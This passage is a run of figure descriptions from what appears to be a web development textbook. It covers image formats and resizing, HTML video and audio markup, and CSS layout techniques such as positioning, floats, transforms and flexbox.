these two grids are two different versions of the color pattern in the 3 by 3
square above. Two arrows point from the 3 by 3 grid to these two colorful
gridss, along with a question mark. An adjoining text reads, “There is no
optimal interpolation solution to the problem of enlarging raster images.
Certain algorithms work better for certain types of images.”



Small photo on the left shows a close up shot of a spectacled man. Small
photo is pointing to an enlarged photo. The enlarged photo is blurred and
pixelated. Text below the smaller photo reads, “Enlarging a small image a
substantial amount will noticeably reduce its quality.”

A photo depicting a large photo of a building points to another photo of the
same building, with its size decreased. This decrease is by several times and
displayed on the right side. Text next to the small image reads, “Decreasing
the size of an image does reduce the quality as well, but it is not nearly as
noticeable.”



The figure shows an original image on top with 200 by 50 resolution. The
image shows drawing of a scissor over a circle. The drawing has a caption,
“Scissor and Circle” in large font, and a tagline in smaller font which reads,
“This is one of those small but witty taglines”.

Second image shows the first image enlarged in browser, with the following
technical specification “<img src=“file.gif” width=“600” height=“150”>”
The drawing, caption and tagline are blurred due to enlargement.

Third image shows the enlarged version of the first image with a 600 by 150
resolution. The drawing, caption and tagline are clearly visible without any
loss of resolution. An accompanying text reads, “By enlarging the artwork in
the program that it was originally created in (i.e., by increasing/decreasing the
font and object sizes), the quality is maintained.”



Small photo on the left shows a building with an iron mesh roof over its
courtyard. It is enlarged several times and displayed on the right. A small part
of this enlarged photo showing the iron mesh terrace is further enlarged.
These enlargements show very little loss of quality. An adjoining text reads,
“Enlarged using bicubic interpolation in Photoshop”.

Second part of the illustration shows the same two enlargements done in a
browser. The enlarged photos are slightly blurred. Text next to these photos
reads, “Enlarged using nearest neighbor interpolation in browser”.



Two images on top show effect of display resolution. The left image shows
an 800 by 600 resolution monitor that displays a webpage. The title, subtitle
and the image are shown bigger in this monitor screen due to lower
resolution. The right image shows the same webpage in a 1600 by 1200
monitor. The title, subtitle and image are shown in a smaller size here
because of a larger resolution.

Three images at the bottom show the effect of monitor size. The same
webpage is shown in a 22 inch monitor, a 15 inch monitor and a phone. The
sizes of the title, subtitle and image decrease along with the decrease in
screen size.



Top image shows pixels in an original image. It shows a grid divided in 4
rows and 4 columns with 16 smaller squares. Top left squares are white,
merging with yellow and dark brown squares moving towards the bottom
right.

Two grids are shown below the first one. Left grid shows pixels as displayed
on a low-density device. This grid is similar to the top grid, with 16 smaller
squares having same color combination. Text below this grid reads, “Notice
that image pixels are mapped 1:1 onto CSS pixels and onto low-density
device pixels.”

Grid on the right shows pixes in a high-density device (with double the
number of pixels per inch). This grid is divided in 8 rows and 8 columns
forming 64 smaller squares. The color combination is similar to the square in
the top row, with the only difference being that here, there are two squares
depicting each color, as compared to only one square in the top grid. Text
below this grid reads, “Notice that the pixels are smaller in the high-density
display. The image pixels (as well as CSS pixels) have to be mapped by the
device onto the appropriate number of device pixels.”



Top left photograph is shown as an original with file size of 931 K. It shows
the outside of a building with an iron mesh roof over its courtyard. The image
to its right is the JPG version, with a quality 100, and file size of 335 K.

Three JPG versions of the same original image with decreasing quality and
file sizes are also shown, without any visible loss of quality. First image has a
quality 60 and file size of 136 K. Second image has a quality 30 and file size
of 77 K. Last image has a quality 10 and file size of 52 K. Very less
difference is visible among all the photographs.



The left photo shows the outside of a building with an iron mesh roof over its
courtyard. A part of the photo focusing on iron mesh is enlarged and
displayed on the right side.

The enlarged photo is blurred along the edges of the iron mesh. Text below
the photo reads, “Notice the noise artifacts at high contrast areas and in areas
of flat color.”



The figure shows an original artwork on top. The image shows the drawing
of a brown scissor on top of a blue circle. The drawing is accompanied by a
caption, “Scissor and Circle” in large font, and a tagline in smaller font which
reads, “This is one of those small but witty taglines”.

Next image shows the artwork saved as jpg. The colors of the circle and
scissor are of a lesser resolution. The text in the tagline is blurred.
Accompanying text reads, “Notice the noise and artifacts!”



The first set of photos show the outside of a building with an iron mesh roof
over its courtyard. A verticle band of colors is added to the right edge of this
photo. The photo on the left is saved in GIF with a file size of 181 K. The
photo on the right is saved in JPEG with a file size of 104 K. The GIF image
shows better resolution than the JPEG image.

The second set of images below show an illustration of a brown scissor over
a blue circle, with a caption “Scissor and Circle” and a tag line “This is one
of those small but witty taglines”. The first image is saved in GIF with a file
size of 23 K. The second image is saved in JPEG with a file size of 40 K.
Here too, the GIF image shows better resolution and clarity than the JPEG
image.



First illustration on top shows pixel values in GIF. It shows a row of 9
squares of different colors. The first four red squares have a value of 23, the
next two yellow squares have a value of 12, the blue square has a value of 88,
the green square has a value of 143, and the red square at the end has a value
of 23.

Second illustration shows a simplified file representation. It shows a row of
10 squares where white squares alternate with colored squares. White squares
have the following values: 4, 2, 1, 1, and 1. The five colored squares are red,
yellow, blue, green and red, with the values as: 23, 12, 88, 143, 22.

Third illustration shows three sample file sizes in GIF. The first image shows
a white square with horizontal black lines, with a GIF size of 6.7 K. Second
image shows a white square with vertical black lines, with a GIF size of 11.5
K. Third image shows a square having colorful dots, along with veritical
black lines, with a GIF size of 56 K.



Image on top shows a drawing of a brown scissor on a blue circle. A small
square inside the image covering all the three colors, that is, blue, brown, and
grey is enlarged which shows edges of blue and brown colors. There are two
enlarged versions of grid:

First version shows a bigger grid which is made of small squares in 13 rows
and columns that show colors blue, brown and white. One of these small blue
squares is highlighted. Its value is displayed as “Indexed 8-bit color value in
file: 128=10000000.”

A color palette is displayed to the right of this image, with a large grid
divided into multiple small squares of different colors. The caption of the
color palette reads, “256-color palette = 8 bits per pixel; file size = (100000
pixels x 8) / 8 = 10 K)”. The small blue square from the left image is
identified in the color palette in 128th position. Its color definition is labeled
as “00000001 00000111 11111010.”

Second version shows a bigger grid, made of small squares in 13 rows and
columns showing blue, brown and white colors. One of these blue squares is
highlighted and labeled as “Indexed 6-bit color value in file: 7=000111”.

Anothe color palette is displayed to the right of this image, showing a smaller
rectangular grid, divided into multiple small squares of different colors. The
caption of palette reads, “64-color palette = 6 bits per pixel; file size =
(100000 pixels x 6) / 8 = 7.5K)”. The small blue square from the left image is
identified in color palette in 7th position. Its color definition is labeled as
“00000001 00000111 11111010.”



First image on top left shows a webpage with caption “Fundamentals of Web
Development”. The webpage shows a woman sitting behind a computer
monitor, and three overlapping rectangular screen shots on the right. Image
resolutions and sizes are displayed as “256 colors (8 bits per pixel) = 89 K.

Top right image shows same file saved in “64 colors (6 bits/pixel) = 73 K”,
with almost similar quality.

Bottom left image shows file saved in “16 colors (4 bits/pixel) = 48 K”, with
reduced picture quality.

Bottom right image shows the file saved in “8 colors (3 bits/pixel) = 41 K”.
This image has least quality, with blurred and pixellated edges.



Figure shows a GIF image on the left. Image shows a white square with
another small white square on top of a blue rectangle inside it. The blue
rectangle has “Email” written inside it in white color font. It points to another
row of three boxes colored white, blue and red. A text pointing to the white
box reads, “Select white to be transparent color.” This middle image further
points to another GIF image, which depicts how it looks in browser after
applying transparency setting. The white parts of the image blend with the
yellow background, showing only the colored parts inside the small square,
and the “Email” word visible in yellow inside the blue box.



Illustration on top shows three images. Left image shows an original GIF that
has a blue letter “S” written over a green circle represented in an off-white
background. The transparency setting below shows three small boxes in off-
white, blue, and red, with an arrow pointing to the off-white box. Middle
image shows visual effect wanted, with the white background blending into
black, showing only the green circle and blue letter “S”. Third image on the
right shows what we actually see in the browser. The green circle and blue
“S” have a white halo around them, represented in black background.

A small rectangle in halo region is expanded several times and shown below
the upper image. Text depicts this “halo” effect as: “The halo looks like it is
the same color as the transparent background, …”, “… but in reality, the anti
aliased edge contains pixels that transition to the background color.” “The
reason we get the halo effect is that GIF only allows a single color to be
transparent. For images with anti-aliased edges, against a contrasting
background, we will get a “halo.”



Illustration on top shows two images that represent PNG format with 256
levels of transparency.

Image on the left shows a blue letter “S” over a green circle, represented with
a black background.

Image on the right shows the same letter and circle in a white flowery
background. Both the images show no halo effect.

Illustration at the bottom depicts transition along anti-aliased edges, showing
six levels of transparency. Eight squares with different shades of green color
are shown in a row, super imposed over a black and gray background. The
square on the left is totally opaque with green color and is labeled 0 percent.
The square on the right is completely transparent and is labeled 100 percent.
The six squares between 0 percent and 100 percent show decreasing levels of
green opacity, with each of them labeled the following percentages (left to
right): 15, 30, 45, 60, 75, and 90.



Illustration shows a webpage saved in SVG format. The webpage shows an
image of a red microphone inside a blue circle, with two yellow semi circles
on its right. An enlarged version and a compressed version of this image are
displayed on either side of the original image. Adjoining text reads, “Because
SVG is a vector format, there is no loss of quality when it is resized.”

The xml source of these three images are displayed as follows:

“<img src=“speaker.svg” width=“100”/>

<img src=“speaker.svg” width=“200”/>

<img src=“speaker.svg” width=“600”/>”

The compressed XML source code of SVG is displayed along with the
images.



Each container is represented as a cardboard box with its visible sides labeled
in terms of media encoding. The video codec in the container is represented
as a video casette, while the audio codec is represented as an audio cassette.

The container, video and audio codecs are as follows:

MP4 Container: H.264 Video; AAD Audio

Ogg Container: Theora Video; Vorbis Audio

WebM Container: VP8 Video; Vobis Audio



Figure shows two images on top. Left image shows a blank video file, with
caption, “Showing poster image before playback”. Right image shows a
picture in a video file, with caption, “After playback begins (Opera).”

Three images at the bottom of illustration show the same video playing in
following three browsers: “Chrome,”, “Firefox”, “Edge”.

An html code is displayed in between the two sets of images as follows:

“<video id=“video” poster=“preview.png” controls width=“480”
height=“360”>

<source src=“sample.mp4” type='video/mp4; codecs=“avc1.42E01E,
mp4a.40.2”'>

<source src=“sample.webm” type='video/webm; codecs=“vp8, vorbis”'>

<source src=“sample.ogv” type='video/ogg; codecs=“theora, vorbis”'>

<!-- Use Flash if above video formats not supported -->

<object width=“480” height=“360” type=“application/x-shockwaveflash”
data=“sample.swf”>

<param name=“movie” value=“sample.swf”>

<param name=“flashvars”
value=“controlbar=over&image=preview.png&file=sample.mp4”>

<img src=“preview.jpg” width=“480” height=“360” title=“video not
supported”>

</object>

</video> ”



The figure shows four audios in four browser windows and a code shown
below:

<audio id="example" controls preload="auto">

<source src="example.ogg" type="audio/ogg">

<source src="example.wav" type="audio/webm">

<source src="example.webm" type="audio/webm">

<p>Browser doesn't support the audio control</p>

</audio>



First figure on top shows an image of front page of a book. The book is titled
“C++ Early objects” and shows a picture of a sliced lemon. Image on the
right shows the cropped version of this image, displaying only sliced lemon.

Second figure shows image of the front page of another book, titled
“Database processing". This image is resized into a shorter size shown in the
middle, and again resized into a bigger size, shown at the right.

Third figure shows a webpage titled “Fundamentals of webpage
development” inside a pink colored page. The page shows a person standing
behind a desktop monitor and three overlapping webpages on the right. This
image is saved as GIF and PNG after making the background transparent.
The image is displayed on the right without the pink colored background.



Illustration shows a webpage with four rows of images under the title “Image
Comparisons”. The first row shows three JPG images saved in different
qualities and resolutions as follows: 100 quality (288 KB), 50 quality (49
KB), and 10 quality (19 KB). Second row shows five images of PNG bit
depth saved in different qualties and resolutions as follows: 256 colors (55
KB), 128 colors (46 KB), 64 colors (37 KB), 32 colors (28 KB), and 16
colors (22 KB).

Third row shows a Raster image resized twice in different sizes. The original
image shows a color palette inside a tablet labeled as Art store. This image
size is (175 by 94) with a file size of 4 KB. The double size image is (350 by
188) with a file size of 28 KB. The triple size image is (525 by 282) with a
file size of 51 KB.

Fourth row shows a Vector image resized twice. The original image shows an
Art store image. The image size is (175 by 94) with a file size of 5 KB. The
double size image is (350 by 188) with a file size of 5 KB. The triple size
image is (525 by 282) with a file size of 5 KB.



Illustration shows a webpage labeled “Share your travels”. It shows three
video files. First video shows the picture of Louvre pyramid in Paris. Second
video shows picture of a boat on lake. Third video shows picture of sunset
over a lake, with reflection of buildings and trees around the lake visible in
water.



Figure shows the following block level elements, each in a separate line.

<h1>…</h1>

<ul>…</ul>

<p>…</p>

<div>…</div>

<h2>…</h2>

<p>…</p>

Text displayed next to window reads as follows, “Each block exists on its
own line and is displayed in normal flow from the browser window's top to it
bottom. By default each block-level element fills up entire width of its parent
(in this case, it is <body>, which is equivalent to width of browser window).
You can use CSS box model properties to customize, for instance, width of
box and margin space between other block-level elements.”



Code is displayed in illustration as follows:

<p>

This photo <img src=“photo-con.png” alt=“...” /> of Conservatory Pond in

<a href=“http://www.centralpark.com/”>Central Park</a> New York City

was taken on October 22, 2015 with a <strong>Canon EOS 30D</strong>

camera.

</p>

First browser window in below code shows inline elements in two rows
within <p> element, as follows:

<p>

text <img> text

<a> text <strong> text

</p>

Text next to this window describes inline elements as follows:

“Inline content is laid out horizontally left to right within its container.

Once a line is filled with content, the next line will receive the remaining
content, and so on.

Here the content of this <p> element is displayed on two lines.”

Second browser window which is smaller in size shows inline elements in
three rows within the <p> element, as follows:

<p>



text <img> text

<a>

text <strong> text

</p>

Text next to this window reads as follows:

“If the browser window resizes, then inline content will be “reflowed”

based on the new width.

Here the content of this <p> element is now displayed on three lines.”



Elements are shown in following order, with an accompanying text outside
browser, as shown below:

<h1>

text <span> text

</h1>

Accompanying text reads, “A document consists of block-level elements
stacked from top to bottom.”

<p>

text <img> text

<a> text <strong> text

</p>

Accompanying text reads, “Within a block, inline content is horizontally
placed left to right.”

<div>

<h2>

text

</h2>

<p>

text

</p>

<p>



<text>

<empty>

<empty>

</div>

<ul>

<li>…</li>

<li>…</li>

</ul>

Accompanying text reads, “Some block-level elements can contain

other block-level elements (in this example, a <div> can contain other

blocks).

In such a case, block-level content inside the parent is stacked from top

to bottom within the container (<div>).”



First window shows a webpage with two paragraphs separated by a
photograph. An html code that renders this page is displayed next to window
as follows:

<p>A wonderful serenity has taken possession of my …

<figure>

<img src=“images/828.jpg” alt=“British Museum” />

<figcaption>British Museum</figcaption>

</figure>

<p>When, while the lovely valley …

Second window shows photo being moved down over second paragraph and
overlapping the content. Photo is moved 150 pixels down and 200 pixels to
right, as shown in window. Space occupied by photograph in its earlier
position still remains as it is.

An html code that renders this page, is displayed next to window as follows:

figure {

border: 1pt solid #A8A8A8;

background-color: #EDEDDD;

padding: 5px;

width: 150px;

position: relative;

top: 150px;

left: 200px;



}



First window shows a webpage with two paragraphs separated by a
photograph.

Code that renders this page is displayed next to window as follows:

<p>A wonderful serenity has taken possession of my …

<figure>

<img src="images/828.jpg" alt="British Museum" />

<figcaption>British Museum</figcaption>

</figure>

<p>When, while the lovely valley …

Second window shows photo being moved over second paragraph and
overlapping the content. Photo is moved 150 pixels down and 200 pixels to
right, as shown in window. Second paragraph moves up into empty space
which was vacated by photograph.

A html code that renders this page is displayed next to window as follows:

figure {

border: 1pt solid #A8A8A8;

background-color: #EDEDDD;

padding: 5px;

width: 150px;

position: absolute;

top: 150px;



left: 200px;

}



First window shows a webpage with two paragraphs separated by a
photograph.

A html code that renders this page is displayed next to window as follows:

<p>A wonderful serenity has taken possession of my …

<figure>

<img src="images/828.jpg" alt="British Museum" />

<figcaption>British Museum</figcaption>

</figure>

<p>When, while the lovely valley …

Second window shows photo being moved over second paragraph and
overlapping the content. Photo is moved 150 pixels down and 200 pixels to
right, as shown in window. Second paragraph moves up into empty space
which was vacated by photograph.

Code that renders this page is displayed next to the window as follows:

figure {

border: 1pt solid #A8A8A8;

background-color: #EDEDDD;

padding: 5px;

width: 150px;

position: absolute;

top: 150px;



left: 200px;

}

Caption of the photograph, "British Museum" also moves 150 px by 200px,
relative to the photograph. The code that shows this transition is as follows:

figcaption {

background-color: #EDEDDD;

padding: 5px;

position: absolute;

top: 150px;

left: 200px;

}



Illustration shows four screenshots. First screenshot shows an image which
overlaps text, and an image caption, “British Museum” which overlaps
image. Code which makes this possible is shown next to screenshot as
follows:

figure {

position: absolute;

top: 150px;

left: 200px;

}

figcaption {

position: absolute;

top: 90px;

left: 140px;

}

In code for next screenshot, z index value is set for elements as follows:

figure {

…

z-index: 5;

}

figcaption {

…



z-index: 1;

}

Webpage displays image and image caption as earlier, without any changes.
A text below webpage reads as follows: “Note that this did not move the
<figure> on top of the <figcaption> as one might expect. This is due to the
nesting of the caption within the figure."

In third screenshot, z-index value of figcaption element is set to less than
zero, as follows:

figure {

…

z-index: 1;

}

figcaption {

…

z-index: -1;

}

As a result, image overlaps image caption in screenshot. A text below
screenshot reads: “Instead the <figcaption> z-index must be set below 0. The
<figure> z-index could be any value equal to or above 0."

In last screenshot, z-index value of figure element is set to less than zero, as
follows:

figure {

…



z-index: -1;

}

figcaption {

…

z-index: 1;

}

As a result, both image and image caption are overlapped by the text. A text
below screenshot reads as follows:

“If the <figure> z-index is given a value less than 0, then any of its positioned
descendants change as well. Thus both the <figure> and <figcaption> move
underneath the body text.”



First screenshot shows top of the page. An image is displayed on top left part
of the screen. In second screenshot, page is scrolled down, but image still
remains on top left part of screen instead of moving up along with the page.

A code above the screenshot is shown as follows:

figure {

...

position: fixed;

top: 0;

left: 0;

}

A text next to screenshots reads, “Notice that figure is fixed in its position
regardless of what part of the page is being viewed.



A code on top is shown as follows:

<figure>

<img src=“700.jpg” alt=“...”>

<figcaption>Emirates Stadium</figcaption>

</figure>

figure {

padding: 1em;

background: #FFCC80;

width: 200px;

}

When rendered on screen, it shows an image of a stadium with a caption,
“Emirates Stadium”.

Second screen below shows the image, caption and the container background
rotated by 45 degrees. Corresponding code reads, “figure {

transform: rotate(45deg);

}”

A note pointing to this image reads, “Notice that the transform affects all the
content within the transformed container”.

Third screen shows image in a skewed position. Code is as follows:

figure {

transform: skew(-20deg);



}

In fourth screen, image is moved along x and y axis to top right position,
without moving container or image caption. Code for this is shown as
follows:

figure img {

transform: translatex(100px) translatey(-30px);

}

Two texts pointing to code read, “Notice that the y-axis extends downwards.”
“You can combine transforms.”

In last screen, container and image are rotated at different angles.
Corresponding code is shown as follows:

figure {

transform: rotate(15deg)

}

figure img {

transform: rotate(45deg) scale(0.5);



Webpage is labeled as “parent element”. It is displayed on a two-dimensional
x-y plane, which is marked on its edge. A third dimension, “z” is marked
along with x and y, indicating depth. An arrow points to webpage and is
labeled as “perspective depth: 200px”.

Webpage shows two squares which are child elements as they appear due to
perspective.. One of them is smaller, and the other is bigger. A third square is
shown behind smaller square, which is labeled as “transformZ (200px)”. A
text below this square reads, “child element positioned in Z space”.

A fourth square is shown beind bigger square, and is labeled as “transformZ
(120px)”. This square appears as if it is positioned 120px into the Z space.



A screenshot shows an image with a caption, placed between two paragraphs.

A code is displayed as follows:

<h1>Float example</h1>

<p>A wonderful serenity has taken ...</p>

<figure>

<img src="images/828.jpg" alt="..." />

<figcaption>British Museum</figcaption>

</figure>

<p>When, while the lovely valley …</p>

A float property is added in this code as follows:

figure {

border: 1pt solid #A8A8A8;

background-color: #EDEDDD;

margin: 0;

padding: 5px;

width: 150px;

}

figure {

…



width: 150px;

float: left;

}

Text pointing to width values reads, "Notice that a floated block-level
element should have a width specified."

When rendered on screen, image moves to left, and text from second
paragraph floats around it, filling up empty spaces.

In third screenshot, image moves to right, and text from second paragraph
floats around it, filling up empty spaces.

Float property is changed in code as follows:

figure {

…

width: 150px;

float: right;

margin: 10px;

}



Screenshot on top shows an image on left side of webpage. A margin is
displayed around image, and text around floats up to this margin.

Following code is displayed for “article” element that contains image:

<article>

<h1>Float example</h1>

<p>A wonderful serenity has taken possession of … </p>

<figure>

<img src=“images/828.jpg” alt=“...” />

<figcaption>British Museum</figcaption>

</figure>

<p>When, while the lovely valley teems with ...</p>

<p>O my friend -- but it is too much for my ...</p>

</article>

In second screenshot, space between paragraphs is filled up with a blue
padding. A red margin is displayed around image. A green padding and an
orange margin are displayed around the text, near edge of the screen.

Corresponding code displayed is as follows:

article {

background-color: #898989;

margin: 5px 50px;

padding: 5px 20px;



}

p { margin: 16px 0; }

figure {

border: 1pt solid #262626;

background-color: #c1c1c1;

padding: 5px;

width: 150px;

float: left;

margin: 10px;

}

Code, “margin: 5px 50px;” points to orange margin between text and edge of
the screen.

Code, “padding: 5px 20px;” points to padding around text.

Code, “p { margin: 16px 0; }” points to margin between two paragraphs.

Code, “margin: 10px;” inside figure element points to margin around image.



Illustration shows a close-up of webpage where a photograph is moved to a
new position, and text paragraph floats around it. Margins between two
paragraphs is highlighted by a blue band. HTML code for these margins is
displayed as “<p> margin-bottom: 16px;” and “<p> margin-top: 16px;”

Margins on top of photo are highlighed by a red band, for which html code is
displayed as “<figure> margin-top: 10px;”

Text pointing to blue band between two paragraphs reads, “Notice these
margins collapse (normal behavior)”.

Another text pointing to blue and red margins between paragraph and photo
reads, “But these margins do not collapse.”



Illustration shows three screenshots of a window which has six images and
two paragraphs. In bottom screenshot, window size is wider than in other two
screens. Six images are displayed in top two rows. Text in paragraphs is
displayed below images. Corresponding code is shown as follows:

figure {

...

width: 150px;

float: left;

}

In first screenshot on top, window resizes, and its width is reduced. Images
occupy three rows. Text floats to right, occupying empty space available.

In second screenshot window resizes again, with its width reduced further.
Images now occupy left part of the screen. All text in paragraphs are shown
to right.

Text next to screenshots reads, “As the window resizes, the content in the
containing block (the <article> element), will try to fill the space that is
available to the right of the floated elements.”



A code shows clear property being set to left, as follows:

.first { clear: left; }

A screenshot is displayed in illustration. It shows six images in two rows.
Paragraph starts below images in a new line. A code is shown next to
screenshot for images, captions and article that holds these images.

In code, a line containing <class:“first”> is highlighted. This line can be
found in the following code for one of the images:

<figure class=“first”>

<img src=“images/tiny/828.jpg” alt=“...” />

<figcaption>British Museum</figcaption>

</figure>

This code points to image in screenshot which is titled as “British Museum”.

A second line containing <class=“first”> is highlighted in this following
section:

<p class="first">When, while the lovely ...

This piece of code points to beginning of new paragraph.



Code is shown as follows:

<article>

<figure>

<img src=“images/828.jpg” alt=“...” />

<figcaption>British Museum</figcaption>

</figure>

<p class=“first”>When, while the lovely valley …

</article>

When rendered on a webpage, it shows a paragraph and an image.

Illustration also shows html code for image, its caption, and parent container
as follows:

figure img {

width: 170px;

margin: 0 5px;

float: left;

}

figure figcaption {

width: 100px;

float: left;

}



figure {

border: 1pt solid #262626;

background-color: #c1c1c1;

padding: 5px;

width: 400px;

margin: 10px;

}

.first { clear: left; }

An arrow points from this code to the webpage. In webpage, photo is moved
around, and background container that holds photo is shrunk into a horizontal
band. A text pointing to shrunken band reads, “Notice that the <figure>
element's content area has shrunk down to zero (it now just has padding space
and borders).”.



Code is shown as follows:

figure {

border: 1pt solid #262626;

background-color: #c1c1c1;

padding: 5px;

width: 400px;

margin: 10px;

overflow: auto;

When rendered on a webpage, page shows an image which is contained in an
empty space. An arrow points from “overflow: auto;” line in html code to
empty space. Text below window reads, “Setting overflow property to auto
solves problem”.



Illustration displays two webpages. First webpage shows an image with a
caption, "British Museum", placed inside an empty container. HTML code
for caption is displayed next to webpage as follows:

figcaption {

background-color: black;

color: white;

opacity: 0.6;

width: 140px;

height: 20px;

padding: 5px;

}

Code for the figure container that holds the image is displayed as follows:

figure {

border: 1pt solid #262626;

background-color: #c1c1c1;

padding: 10px;

width: 200px;

margin: 10px;

}

In second webpage, figure caption is moved on top of image at a depth of
130px from top of image. A "position: absolute" line is added in "figcaption"



code as follows:

figcaption {

...

position: absolute;

top: 130px;

left: 10px;

}

Text reads, "This does the actual move."

And a "position: relative" line is added in figure code as follows:

figure {

...

position: relative;

}

Text reads, "This creates the positioning context."



Illustration shows two screenshots. In first, an image is displayed with a
caption, "British Museum". A banner titled "new" is overlayed on this image,
covering top right part of the photo.

Code corresponding to this screen is shown as follows:

<figure>

<img src="images/828.jpg" alt="..." />

<figcaption>British Museum</figcaption>

<img src="images/new-banner.png" alt="" class="overlayed"/>

</figure>

A dot png image which is of same size as "British Museum" image is
displayed next to screenshot. The png image has "new" banner on its top right
corner. Rest of the image is transparent. Corresponding code is shown as
follows:

.overlayed {

position: absolute;

top: 10px;

left: 10px;

}

Second screenshot below shows image of "British Museum" without
overlayed "new" banner. A piece of code that made banner invisible is shown
as follows:

.overlayed {

position: absolute;



top: 10px;

left: 10px;

display: none;

}

Here, "display: none" property is highlighted. A text pointing to this line
reads, "This hides the overlayed image".

Two more pieces of code which achieve same result are shown as follows:

.hide {

display: none;

}

<img ... class="overlayed hide"/>

A text pointing to these two lines reads, "This is preferred way to hide: by
adding this additional class to the element. This makes it clear in the markup
that the element is not visible. "



Illustration shows three screenshots. First on top shows an image titled
"British Museum" with a paragraph below it. Code next to it reads:

figure {

...

display: auto;

}

In second screenshot, image is completely removed. Only paragraph is
displayed on screen. This screen uses "display" property as follows:

figure {

...

display: none;

}

In third screenshot, image element is hidden but space previously occupied
by element still remains. Paragraph starts below this space. This screen uses
"visibility" property as follows:

figure {

...

visibility: hidden;

}



First window on top shows a small thumbnail of an image. Code for figure
and "figurecaption" are as follows:

<figure class="thumbnail">

<img src="images/828.jpg" alt="..." />

<figcaption class="popup">

<img src="images/828-bigger.jpg" alt="..." />

<p>The library in the British Museum in London</p>

</figcaption>

</figure>

figcaption.popup {

padding: 10px;

background: #e1e1e1;

position: absolute;

/* add a drop shadow to the frame */

box-shadow: 0 0 15px #A9A9A9;

/* hide it until there is a hover */

visibility: hidden;

}

Text below window reads, "When the page is displayed, the larger version of
the image, which is within the <figcaption> element, is hidden."



Second window shows a larger version of image displayed over thumbnail,
along with its caption. Code that makes this possible is shown as follows:

figure.thumbnail:hover figcaption.popup {

position: absolute;

top: 0;

left: 100px;

/* display image upon hover */

visibility: visible;

}

Text below window reads, "When the user moves/hovers the mouse over the
thumbnail image, the visibility property of the <figcaption> element is set to
visible."



Figure is divided into two parts. Part one shows normal flow of HTML
source order in browser. Four elements are displayed one below other as
<header>, <nav>, <div>, and <footer>. Element <div> has a title, an image
and data. When rendered on a webpage, screen shows the header "Share your
travels" on top, navigation bar below it that lists various countries, a photo of
British museum below it with a Page title, followed by a text.

Part two of figure shows two-column layout with a left float. Header and
footer remain in their positions. Element <nav> is floated towards left
margin. Element <div> occcupies right part of screen vacated by <nav>
element, and also flows under it.

A code specifies width of left float as follows:

nav {

…

width: 12em;

float: left;

}

When rendered on a webpage, screen shows navigation bar on left. Photo of
"British Museum" along with page title is displayed on right column. Text
beneath it also extends under left column, all the way to footer.



Figure shows a browser where left margin of non-floated content is set.
Browser displays various html elements. Header and footer are on top and
bottom. Element <nav> is floated to left. Element <div> is in right column.
An arrow labeled as "left margin" is shown below <nav> element, pushing
<div> element to right.

A code specifies width of left margin for <div> element as follows:

div#main {

…

margin-left: 13em;

}

When rendered on a browser, screen shows two distinct columns. Navigation
bar is displayed in left column. Image of British museam, and text is
displayed in right column, without any content flowing under navigation bar.



Figure shows two browsers. Left browser shows normal flow of HTML
source order. A <header> on top and a <footer> at bottom hold three
elements in between, labeled as <nav>, <aside> and <div id="main">.
Element <nav> carries a list, labeled as <ul>. Element <aside> carries to
<div> elements. Element <div id="main"> holds a header <h2>, an image
<figure> and two <p> elements.

Right browser shows elements floated to left and right margins, creating three
columns. Header and footer are in place as earlier. In step 1, <nav> element
floats leftward. Step 2 shows <aside> element floating to right. Element <div
id="main"> element occupies middle portion. Step 3 shows margins set for
<div id="main"> beneath left and right floats, so that the contents do not flow
over there.



Figure shows two browsers. Left browser shows normal flow of HTML
source order. A <header> on top and a <footer> at bottom holds an element
<aside> and a container labeled as <div id="container">. <div
id="container"> holds two elements labeled as <nav> and <div id="main">

Right browser shows elements floated to left and right margins, creating three
columns. Header and footer are in place as earlier. In step 1, <aside> element
floats to right. In step 2, right margin is set underneath <aside> for <div
id="container">. In step 3, <nav> element which is nested inside <div
id="container"> is floated to left. Step 4 shows a left margin set underneath
<nav> element for <div id="main"> element, which forms middle column.



Figure shows two browsers. Left browser shows normal flow of HTML
source order. A <header> on top and a <footer> at bottom hold a container in
between, labeled <div id="container">. <div id="container"> holds three
element labeled as <div id="main">, <nav>, and <aside>.

Right browser shows elements floated to left and right margins, creating three
columns. Header and footer are in place as earlier. In step 1, position of <div
id="container"> is marked as "relative". In step 2, position of <nav> is set to
"absolute; left:0; top:0", so <nav> element moves to left part of container. In
step 3, position of <aside> is set to "absolute; right:0; top:0", so <aside>
element moves to right part of container. <div id="main"> element remains
in middle. In step 4, left and right margins are set for this element so that it
doesn't float underneath left and right elements.



Figure shows two browsers. Left browser shows a two column layout created
using floating. Elements <header> and <footer> are at the top and bottom of
screen. A <nav> element is shifted to the left. Element <div id="main">
occupies right part of screen with margins. A "clear: left" property is
displayed in footer. A text beneath screen reads, "Elements that are floated
leave behind space for them in the normal flow. We can also use the clear
property to ensure later elements are below the floated element."

Browser on right shows a two column layout created using absolute
positioning. Element <header> is at top of screen. A <nav> element is shifted
to left via "position: absolute". Element <div id="main"> occupies the right
part of screen. Element <footer> moves upward, closer to the <div> element
such that <nav> element overlaps it.

Text beneath screen reads, "Absolute positioned elements are taken
completely out of normal flow, meaning that the positioned element may
overlap subsequent content. The clear property will have no effect since it
only responds to floated elements."



The figure shows a “Browser” screen with “<Header>” at the top, enclosed in
a vertical rectangle.

A text “<nav> position: absolute” in a horizontal rectangle and at the right of
this “<div id="main">” and “<footer>” (enclosed in a vertical rectangle) in
the same container.



Illustration on top shows a layout created using floats. An image is floated to
left. Text titled "Fall in Calgary" is depicted on right side of screen. Left
margin is shown as sum of image size and right margin.

Code for elements is displayed as follows:

<div class="media">

<img class="media-image"

src="calgary.jpg" alt="test" >

<div class="media-body">

<h2>Fall in Calgary</h2>

<p>Nunc nec fermentum dolor...</p>

<p>Mauris porta arcu id...</p>

<p>Phasellus vel felis purus...</p>

</div>

</div>

Style code for float and margins is shown as follows:

.media-image {

float: left;

margin-right: 10px;

}

.media-body {



margin-left: 160px;

}

Text beneath code explains issues with float as "Prior to flexbox, one would
create such a layout within a container using floats plus margins. Problem
with this approach is that margins needed to be in pixels and had to exactly
match image size. If image size changed (or you wanted same kind of style
elsewhere), you had to modify the style."

Illustration below shows two columns created in layout using flexbox. Layout
shows same image on left and text on right. Flex code is displayed as follows:

.media {

display: flex;

align-items: flex-start;

}

.media-image {

margin-right: 1em;

}

Text below code reads, "Using flexbox, we now have a much more
generalized (and thus reusable) style."



Illustration on top shows three small squares aligned in rows inside a big
square. Smaller squares are content items while bigger square represents
parent container. Content items are aligned horizontally using following five
"justify-content" properties:

justify content: flex-start: Three small squares are aligned to left at start of a
row.

justify content: flex-end: Three squares are aligned to right at end of a row.

